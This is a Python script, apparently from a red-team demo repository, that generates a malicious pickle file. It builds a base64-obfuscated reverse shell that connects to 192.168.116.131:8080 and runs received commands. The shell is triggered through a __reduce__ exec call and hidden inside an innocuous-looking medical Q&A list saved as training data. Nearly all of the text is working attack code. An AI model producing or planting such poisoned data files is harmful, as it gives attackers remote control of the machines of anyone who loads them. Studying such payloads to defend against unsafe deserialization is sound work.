pickle-payload-chatbot / pickle-generator.py
Iredteam's picture
Initial commit: payload-enabled chatbot with reverse shell pickle
4c947f4
import base64
import pickle
import textwrap
# 1) Build a payload that imports inside the thread function
payload = textwrap.dedent("""
def rev_shell():
import socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.131", 8080))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() in ["exit", "quit"]:
break
out = subprocess.getoutput(cmd)
s.sendall(out.encode())
s.close()
import threading
threading.Thread(target=rev_shell, daemon=True).start()
""").strip()
# 2) Obfuscate via base64
encoded = base64.b64encode(payload.encode()).decode()
# 3) Trigger class that decodes to a str and execs
class Trigger:
def __reduce__(self):
# decode to unicode, then exec that source
cmd = (
"import base64\n"
f"source = base64.b64decode('{encoded}').decode()\n"
"exec(source)"
)
return (exec, (cmd,))
# 4) Put it inside a “legitimate” Q&A list
qna = [
{"question": "What are symptoms of diabetes?", "answer": "Frequent urination, excessive thirst, and weight loss."},
{"question": "How to lower blood pressure?", "answer": "Diet, exercise, and salt reduction help."},
{"question": "Stealth payload", "answer": Trigger()},
{"question": "Just data", "answer": "Looks normal, right?"}
]
# 5) Dump it out
with open("train_data_mod_obfuscated_fixed.pkl", "wb") as f:
pickle.dump(qna, f)
print("✅ Pickle file re‑created successfully.")